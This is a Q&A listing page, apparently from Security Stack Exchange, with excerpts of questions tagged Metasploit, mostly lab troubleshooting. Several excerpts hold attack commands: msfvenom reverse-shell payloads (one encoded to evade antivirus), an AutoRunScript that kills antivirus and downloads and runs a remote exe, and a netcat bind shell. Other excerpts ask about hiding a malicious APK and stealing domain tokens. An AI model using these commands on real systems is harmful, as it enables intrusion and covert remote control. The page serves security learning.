Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
1
vote
2answers
808 views

Run metasploit console resource scripts

Hi I want to do this in my lab environment: When meterpreter shell is gained, automatically I want to execute console commands such as route add, jobs -K or use some other exploit or auxiliary ...
1
vote
1answer
2k views

Metasploit using the wrong LHOST address

When I use metasploit in Kali Linux rolling release updated to date, when using exploit/multi/handler with windows/meterpreter/reverse_tcp and local exploits over meterpreter, the LHOST field is ...
5
votes
2answers
3k views

Reverse connection Metasploitable 2 -> Kali Linux (Samba 3.x) without Metasploit

I am trying to exploit Metasploitable 2 without the use of Metasploit, with the aim of learning. In this case, I am focusing on Samba 3.x (Port TCP 139, 445) In this link http://www.rwbnetsec.com/...
3
votes
0answers
773 views

Metasploit: Starting paylolad handler… not showing [closed]

I want to hack into my own android device (Wiko Lenny 3 with Android 6.0). But everytime I press enter after I typed "exploit", it states Exploit running as background job 0 and the message Starting ...
0
votes
1answer
3k views

Meterpreter cannot bind to external address

I have a problem with exploiting machine outside my LAN network. I tried answers from StackExchange but they didn't work for me. My setup of exploit: ms17_010_eternalblue RHOST = target ip and RPORT ...
6
votes
2answers
417 views

How does the Meterpreter load modules?

I've been using the Meterpreter for some time and I'm still quite new to it and one of the questions I have is how it's module loading works. Correct me if I'm wrong as I'm still learning how to use ...
1
vote
0answers
445 views

Reverse_tcp exploit on VM with Windows XP

Well I'm doing learning to do pentest with Metasploit and i was using an exploit named "tugzip" that use a rever_tcp protocol so i actually installed Kali linux on my computer and used a virtual ...
0
votes
2answers
1k views

MSFvenom payload with dynamic options

I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
-1
votes
1answer
4k views

How to set autorunscript multiple commands?

set AutoRunScript "post/windows/manage/killav","post/windows/manage/download_exec EXECUTE=true OUTPUT=false URL=http://google.com/so.exe" does not work How to start AutoRunScript multiple commands ...
0
votes
1answer
374 views

Msfvenom encode with no payload

is it possible to just encode an elf executable using the encoders and still end up with a working 'packed' executable? or am i misunderstanding what an encoder is supposed to do.
-2
votes
1answer
5k views

metasploit dont work upload, download and open folder

When I am trying to upload a file, download a file or enter a folder, metasploit does not work. Path of metasploit is in meterpreter. meterpreter> upload /root/Desktop/test.exe C:\\Documents and ...
0
votes
1answer
1k views

How can I brute force an individual smb share?

I am trying to complete a CTF and am presented with a machine that has several SMB shares, as found using metasploit auxiliary/scanner/smb/smb_enumshares. - Windows XP Service Pack 3 (English) - IPC$ ...
0
votes
1answer
319 views

Metasploit exploit which doesn't require initial user interaction

Is it possible to compose an attack vector in such a way that a remote victim will not be required initially to interact with an attacker? That is, if OS is vulnerable then you'll execute the ...
1
vote
1answer
888 views

Metasploit automate actions when reverse shell connects

I have used metasploit's netgear_wnr2000_rce to gain root shell access on a linux embedded device (no option for payloads). I am currently automating the process, and want to run a bash script when ...
0
votes
1answer
155 views

Is it OK to use Metasploit against sites like hackthissite.org?

Is it OK to use exploits like those on Metasploit or similar against legally hackable sites? If not, is there any other servers that are open to that?
1
vote
1answer
516 views

Stealing tokens from client PC on a domain controller?

I'm trying to hack my domain controller lab. I created a lab with 4 PC's and 1 servers (2012 R2). I succeeded in hacking one of the PC's via the EternalBlue exploit. So when I run whoami i got : NT ...
0
votes
1answer
399 views

AutoScripting for Windows Cmd shell when session start [closed]

I use metasploit latest version. I know autoscripting with meterpreter payloads. But I need to know how to do it with a shell/bind_tcp payload. I want to write a script for when exploit is completed ...
1
vote
2answers
1k views

NMap scan from within armitage - missing root privileges

I just installed metasploit + armitage on my Ubuntu 16.04 machine. When I start armitage and click "Hosts->Nmap->Quick Scan (OSdetect)" I get the following error: msf > db_nmap --min-hostgroup 96 -...
4
votes
1answer
620 views

Pivoting with Metasploit

I am trying to exploit a Windows VM on a different subnet behind a dual home Linux VM where I already have a shell. To keep it simple, I have a meterpreter reverse_tcp shell on the Linux VM (192.168....
0
votes
1answer
277 views

Metasploit Log or Additional Information Re: Exploit completed, but no session was created

Almost all of my personal lab work with Metasploit has been unsuccessful. Most commonly I get the message "Exploit completed, but no session was created." I don't know what to do after this happens. ...
1
vote
1answer
1k views

Metasploit command shell session died from EOFError

I am using the multi/browser/firefox_webidl_injection exploit to attack Firefox 26 on a linux VM. I have tried using it with the following payloads: 1) firefox/shell_reverse_tcp and 2) generic/...
1
vote
0answers
284 views

Hiding metasploit APK after first launch

I wanted to know how can I hide metasploit APK after first launch. I know there a command for it in meterpreter but I want it to hide itself when it is first launched. Before adding hide_app_icon ...
3
votes
1answer
2k views

Metasploit opens Meterpreter but shows no prompt please help

I have created a payload to a website with msfvenom, and started the exploit/multi/handler exploit, they then connect to each other and create a meterpreter session as seen below, but I do not get the ...
-1
votes
1answer
277 views

Using office_word_hta

I'm trying to exploit MS Word, avoiding AV detection. So, what do I have to do? First, generating the payload, for example: msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -...
2
votes
1answer
1k views

Is it possible to run Meterpreter command in background

After spawning a meterpreter session from the target Windows 7 system I wanted to search for all the files with sub-string "clue" in in their name. As search -f "*clue*" took a long time to complete, ...
2
votes
1answer
590 views

Updating Metasploit Database Breaks Meterpreter Payload

This might be better posted on the R7 forum, but I feel like I might get a quicker response here as I'm waiting for access to post in their forums. On a base installation of Kali (Metasploit version ...
1
vote
0answers
447 views

Android meterpreter payload crashes app

I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes. Loading the raw payload apk on my phone works over LAN/WAN. I injected the payload manually by ...
2
votes
1answer
5k views

LPORT question - I seem to not understand some concepts

I am trying to build a payload for inserting as an obfuscated code into a Word document, which will create a listener on the attacked machine and will allow me to execute some commands (not through ....
2
votes
1answer
2k views

How to select the correct Exploit and payload? (msfconsole)

I am trying to learn about security and penetration testing. So far I've learned how to work with Metasploit (MSFconsole) and nmap (db_nmap). I am using 2 VMs, one with Kali and the second with ...
-2
votes
1answer
129 views

Can i make a http payload? [closed]

Hello stack exchange community, I was wondering if i can generate a payload that connects using http . Because it will be faster and it will avoid all the problems of port forwarding and explloiting. ...
1
vote
1answer
2k views

When to send exe file to target system in order to exploit via metasploit

I am newbie in Metasploit. Still learning the basics but I'm confused and would like some help. 1) - Previously I learnt how to simply exploit any O.S. vulnerability using meterpreter. We can send ...
0
votes
0answers
94 views

Open ports are not shown on screen and not stored in db

I am new to Kali Linux. After running few commands on metasploit , the commands are running perfectly but display is not as shown in book. I am running this in Virtual box in windows 7 My screen ...
1
vote
1answer
22k views

Exploit Completed, but no session was created

I'm using Metasploit to exploit ms08-067_netapi targeting windows xp sp3. I'm going along with the book Penetration Testing-A Hands-on Introduction to Hacking. This is how I'm doing it. use windows/...
1
vote
0answers
165 views

payload android. Meterpreter connection issue on samsung s7 edge

Hello I have 2 samsung s7 edge the both have the same android version and base band. On the first no problem, i'm able to take the control using reverse_tcp or http. On the second the payload doesn'...
-1
votes
1answer
4k views

Windows 10 not running meterpreter payload

I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment ...
1
vote
1answer
55 views

Cannot reproduce MSF fuzzer results?

This is my first time asking for some support in my case. Please forgive me, as I am still learning... The scenario is really simple: Some device with HTTP server is being fuzzed by metasploit's ...
0
votes
0answers
100 views

Are Metasploit built-in exploits used in real-life pen testing? [duplicate]

I just started seriously playing around with Metasploit, and a question kept coming into my mind. In the case of Adobe Flash for example, there are thousands of Flash vulnerabilities in CVEdetails....
9
votes
1answer
2k views

Gained Privilege Escalation but no authority using Metasploit

I am facing a very weird issue. I have successfully popped a box using Shellter with Meterpreter_Reverse TCP. Here is the sysinfo : meterpreter > sysinfo Computer : ******** OS ...
5
votes
1answer
7k views

Gaining root access on an Android phone exploited with MetaSploit

I have been using MetaSploit for a while (3 years), and I have just started exploiting Android. My Android has root access, and SuperSu is configured to 'grant' all SU requests. I have the payload ...
1
vote
1answer
4k views

Nothing happens when payload runs [closed]

i have a problem with using meterpreter. Here's what i did i'll tell it by using pictures of what i do step by step. First i created my payload and set the LHOST to my public ip address and generate ...
1
vote
0answers
5k views

Understanding RHost, LHost, PORT [closed]

I'm a complete beginner who wants to learn pen testing. I'm having trouble of understanding this 3 specific IP's the remote host, local host, and PORTS. In my own understanding the remote host is the ...
0
votes
1answer
444 views

Metasploit generate command not working

Using the windows/smb/ms08_067_netapi exploit and the windows/meterpreter/reverse_tcp as the payload this is what i get: msf payload(reverse_tcp) > generate -f ~/Desktop/rootkit.exe -p windows -t ...
5
votes
1answer
568 views

Inject hash into sam file. Is possible?

I have a very uncommon scenario. I have a Windows 10 laptop with a specific configuration. On that configuration there is a user (local user, not domain user) which I don't know its password. I want ...
5
votes
0answers
1k views

Metasploit DCERPC BindError

I'm trying to gain shell access to my home router/gateway, so I decided to use metasploit and nmap to find if there were any vulnerabilities that I could use: [marcel@GLaDOS ~]$ sudo nmap -sS -Pn -A ...
3
votes
2answers
420 views

I am not getting meterpreter sessions when I am connected to an Openvpn

I have a router and the ports required for the backdoor to connect back to the listener are forwarded to my machine's internal ip. It all works fine only when I am not using VPN. But after connecting ...
1
vote
1answer
196 views

msfvenom incompatible character encodings error

I try to create payload for adding user to local administrators group, but the server language is Russian so I should add my local user to Администраторы group. When I try to create payload using ...
1
vote
1answer
3k views

Upgrade a ncat bind shell to meterpreter [closed]

During penetration tests, I am often able to open a Ncat Bind Shell on the victim system (linux), which opens a port that I can then connect to: nc -l -v -k -e /bin/bash -p 4444 I now want to ...
3
votes
1answer
946 views

Wordpress 4.0 CSRF Password Reset

I am working on a faculty project. I need to replicate Wordpress CSRF vulnerability on my localhost wordpress. I am trying to do this: https://wpvulndb.com/vulnerabilities/7691 I couldn't find any ...
1
vote
1answer
437 views

Prevent metasploit meterpreter process migration [closed]

Is there any way to prevent meterpreter process migration.?
1
vote
1answer
4k views

Proxying MetaSploit through BurpSuite

I was wondering how I would be able to proxy MetaSploit through BurpSuite. I was to reverse engineer a packet being sent to my ChromeCast, but I have no way of viewing the packet. Thanks.